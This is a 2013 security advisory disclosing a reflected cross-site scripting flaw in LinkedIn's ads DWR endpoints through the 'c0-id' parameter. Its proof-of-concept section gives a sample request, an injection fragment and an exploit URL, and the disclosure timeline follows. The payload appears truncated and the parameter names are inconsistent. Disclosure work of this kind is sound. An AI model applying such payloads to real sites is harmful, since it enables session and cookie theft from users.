2013-003: XSS vulnerability in LinkedIn

Original release date: March 3rd, 2013
Last revised: March 10th, 2013
Discovered by: Vicente Aguilera Diaz
Severity: 4.3/10 (CVSSv2 Base Score)

BACKGROUND

LinkedIn is a social networking service and website (www.linkedin.com) for professionals. The site officially launched on May 5, 2003. As of September 30, 2012 (the end of the third quarter), professionals are signing up to join LinkedIn at a rate of approximately two new members per second.

Actually, Over 200 million professionals use LinkedIn to exchange information, ideas and opportunities.
More info: http://www.linkedin.com

DESCRIPTION

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

LinkedIn is vulnerable to XSS attacks during a DWR (Direct Web Remoting, a Java open source library) call through the "c0-id" parameter.

There are several instances of this issue:
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateCreativeText.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.getBidSuggestion.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateClickThroughUrl.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateCreative.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.getCostAndMemberCount.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateRequiredFields.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.validateDisplayUrl.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.getExampleAds.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.changeBizAcctName.dwr
https://www.linkedin.com/ads/dwr/exec/SasAjax.updateAlertMessageId.dwr

PROOF OF CONCEPT 

Next, we show a typical request to the "/ads/dwr/exec/SasAjax.validateCreative.dwr" resource:

     POST /ads/dwr/exec/SasAjax.validateCreative.dwr HTTP/1.1
     Host: www.linkedin.com
     ......

      callCount=1
      JSESSIONID=0B3F07B2742AF0F5A020AB0FB72123D9
      c0-scriptName=SasAjax
      c0-methodName=validateCreative
      c0-id=5518_1360723319833
      c0-param0=string:
      c0-param1=string:
      c0-param2=string:
      c0-param3=string:
      c0-param4=string:
      c0-param5=string:
      c0-param6=string:en_US
      c0-param7=string:0
      c0-param8=string:0
      c0-param9=number:0
      xml=true
                           

Some parameters are not used/validated by the application, so we can remove these parameters from the request. The only parameters that are required by the application are:

     - callCount
     - JSESSIONID <== can have anything value, but must match the JSESSIONID
     cookie
     - c0-id <== vulnerable parameter (we can inject HTML/script code through this parameter)
     - xml <== we need to change the value from "true" (default value) to "false" to make possible the script code injection
                         

Also, we can use HTTP GET method instead the HTTP POST method used at this request. This makes it more easy the exploitation of the XSS vulnerability. For example, we can inject script code to show an alert popup with the "document.cookie" value:

 c0-id=5518_1360723319833');<!-- 

So, finally, this HTTP request provoke the XSS exploitation:

https://www.linkedin.com/ads/dwr/exec/SasAjax.validateCreative.dwr?callCount=1&SESSIONID=0B3F07B2742AF0F5A020AB0FB72123D9&c0-id=5578_1362323397833');<!--&xml=false

BUSINESS IMPACT

A malicious user can access to the information stored in the cookie on other users, so the attacker can spoof they identity and access to these user accounts.

SYSTEMS AFFECTED

http://www.linkedin.com

SOLUTION

Pending.

REVISION HISTORY

March 3, 2013: Initial release

DISCLOSURE TIMELINE

  • March 3, 2013: Vulnerability acquired by Internet Security Auditors.
  • March 11, 2013: Sent to Sec Team.
  • July 4, 2013: Initial vendor notification sent.
  • July 9, 2013: No update yet.
  • July 11, 2013: All issues reported should be resolved.

REFERENCES

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.